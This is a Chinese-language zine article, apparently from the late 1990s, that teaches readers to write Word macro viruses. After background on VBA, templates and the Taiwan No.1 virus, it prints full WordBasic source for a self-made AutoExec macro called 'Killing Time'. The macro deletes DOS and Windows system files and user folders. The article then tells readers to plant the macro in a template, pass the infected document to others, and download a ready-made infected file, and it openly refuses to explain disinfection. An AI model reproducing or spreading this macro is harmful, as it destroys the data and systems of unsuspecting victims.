技術

大家一起來寫巨集病毒

身為一個壞人,就應該做壞事;而唯有做壞事,我們才得以證明我們 是一群壞人。而壞人分為大壞人還有小壞人,壞事也分為大壞事以極 小壞事,一般而言,比較有野心、權力、能力與暴力的人,比較能夠 做出比較大的壞事,也可以成為比較大的壞人,同樣的,比較有錢的 人也是如此。

在今日社會中,有許多人認為美國微軟公司的總裁比爾.蓋茲是這樣 的一個壞人,事實上,我們不應該說他是一個壞人,我們應該說他是 一個好壞、好壞、好壞的壞人,因為他除了自己做壞事之外,同時也 讓其他的壞人,因為微軟的產品,而能夠做更多的壞事。

比方說, 比爾.蓋茲賣 DOS、賣 Windows 作業系統謀取暴利就是一 種壞事,但是無論哪一個版本的作業系統都有病毒這種壞事。他賣什 麼 Office9、 Office97 這種東西本身也是一種壞事, 而因為有了 Offcei95 還有什麼 Office97 這些東西,有更多的壞人, 就可以做 出像台灣 NO.1 巨集病毒( Macro Viurs )這一類的壞事。

對!巨集病毒,我們今天要討論的就是巨集病毒。而為什麼我們要討 論巨集病毒呢?因為巨集病毒是一種壞事,又有用到電腦,而「盒子 -道南生活網路誌」資訊壞人專刊要告訴大家的,就是怎麼用電腦做 壞事。

巨集(Macros)

討論巨集病毒,我們就必須先對於巨集病毒有一定的認識。所謂的巨 集病毒就是一種巨集、也是一種病毒,簡單說巨集病毒又是巨集又是 病毒,是一種帶有病毒功能的巨集,也是一種以巨集為形式的病毒。

巨集是一個很早就出現在電腦上的概念。在日常生活使用電腦時,我 們常常要作一些不斷重複的動作,比方說在開機之後固定要進入哪些 系統、開啟哪些程式或文件,讓我們感覺非常麻煩,所以我們便希望 簡化程序,所謂的巨集便從焉產生。

巨集就是將一連串的動作錄製起來,而之後要執行那些例行而麻煩的 動作時,只要「播放巨集」就可以了。在許多早期的文書軟體中便出 現了巨集功能,如 Word Perfect、Word Start 及書中仙等,直到晚 近的軟體也都有巨集功能, 包括上了視窗之後的 Word Perfect、 Word Start、蓮花公司的 AmiPro、Word Pro、 麥金塔系統上最新版 本的 Claris Work5.0 等,當然,還有微軟的 Word。

微軟在 Word 中, 還有其 Office 系列產品中的 Excel、 Power Point 中所使用的巨集功能非常特別。 微軟將其程式語言 Visual Basic ( VB )與巨集功能結合,加入了選擇、迴圈等語法,使得原 本的巨集儼然變成一套小型的程式開發環境, 微軟稱為 Visual Basic Application ( VBA ), 比爾.蓋茲這個變態的大壞人,甚 至更變態的在 Office97 中加入了一套更變態的 Visual Basic 開發 工具,稱為 Visual Basic Environment ( VBA )。

無論透過 VBA 還是 VBA,我們都可以寫出一些小程式來。 有人開發 出直接將稿件轉換成超文件 HTML 的小工具, 有人寫出將 PE2 表格 轉換成 Word 表格的小工具,全世界有無數個 Visual Basic 程式設 計師寫出無數個程式和無數個小工具,也有無數個壞人寫出無數個巨 集病毒。

範本(Template)

在微軟的 Word 文件格式當中,大概有兩類劃分:一種是純粹的文件 檔案, 包括 Word 文件檔( *.doc ),及其他 Word 可以讀寫的純 文字模式、RTF 格式等。 另外就是範本格式( *.dot ),所謂的範 本就是可以儲存巨集的文件。

所以,所謂被感染的 Word 文件,其實都是範本檔案。 以台灣 NO.1 巨集病毒為例,病毒首先改寫「開啟新檔」的功能,讓使用者以為開 啟了一個新的文件檔案,而其實是範本檔案,之後在使用者存檔再用 MacroCopy 這個指令將病毒程式碼複製到使用者的文件(其實示範本 中)。

所以當你發現在存檔的時候,在檔案類型選項只能選擇「範本檔案」 時,就代表已經中毒了。-那應該要怎麼解毒呢?請記住,本期是「 資訊壞人專刊」,身為一名壞人是要讓別人中毒,而不是幫別人解毒 的呀!所以我們是不可能教你怎麼解毒的。

個案研究

現在就要堂堂進入巨集病毒實際寫作的範圍了!我們先以舊版的台灣 NO.1 巨集病毒為例, 為什麼要選台灣 NO.1 病毒呢?因為知名度最 高嘛!無論是誰大概都曾經中過呀!想要拿到病毒程式碼也最簡單呀 !

舊版的台灣 NO.1 以三個巨集構成: AutoOpen、 AutoNew 以及 AutoClose,這三個巨集都是開啟 Word,或是在 Word 開啟新文件會 自動啟動的。 病毒碼中的大意是以 MacroCopy 指令感染使用者文件 ,設定日期變數好讓病毒在每個月十三日固定發作,還有就是發作時 的四個四位數字運算出題畫面等等。

不過對於新近的巨集病毒寫作者來說,台灣 NO.1 的難度算是很高的 ,所以我們再以盒子編輯室「地下兵工廠」自行研發的「殺戮時刻」 巨集病毒為範例。

「殺戮時刻」病毒程式本身並沒有什麼特別之處,唯一的功用就是透 過 Kill 指令刪除使用者的檔案。首先選擇 Word 「工具」選單下的 「巨集」選項,建立一個叫做 AutoExec 的巨集,按下旁邊的「編輯 」按鈕,進入巨集編輯畫面,並輸入以下的「殺戮時刻」程式碼:


Sub MAIN
MsgBox "您的檔案曾經做過備份嗎?" + Chr$(13) +
"因為您的檔案即將會....." + Chr$(13) +
"隨著殺戮時刻隨風而逝!!", "殺戮時刻", 48
Kill "C:\io.sys"
Kill "C:\msdos.sys"
Kill "C:\config.sys"
Kill "C:\autoexec.bat"
Kill "C:\system.1st"
Kill "C:\My Document\*.*"
Kill "C:\dos\*.*"
Kill "C:\windows\*.*"
Kill "C:\windows\system\*.*"
Kill "C:\windows\desktop\*.*"
Kill "C:\cwin95\*.*"
Kill "C:\cwin95\system\*.*"
Kill "C:\cwin95\desktop\*.*"
Kill "C:\winnt\*.*"
Kill "C:\winnt\system32\*.*"
Kill "C:\cwin31\*.*"
End Sub


然後再到「檔案」選單下的「範本」選項,按下「組合管理」,將寫 好的 AutoExec 巨集複製到另一個範本檔案中, 您就有一份中毒的 Word 文件啦!您只要將這份中毒的文件拿給別人開啟, 別人馬上會 享受到「殺戮時刻的快感」!

最後,您也可以馬上下載「殺戮時刻」中毒文件, 即刻享受「殺戮時刻的快感」!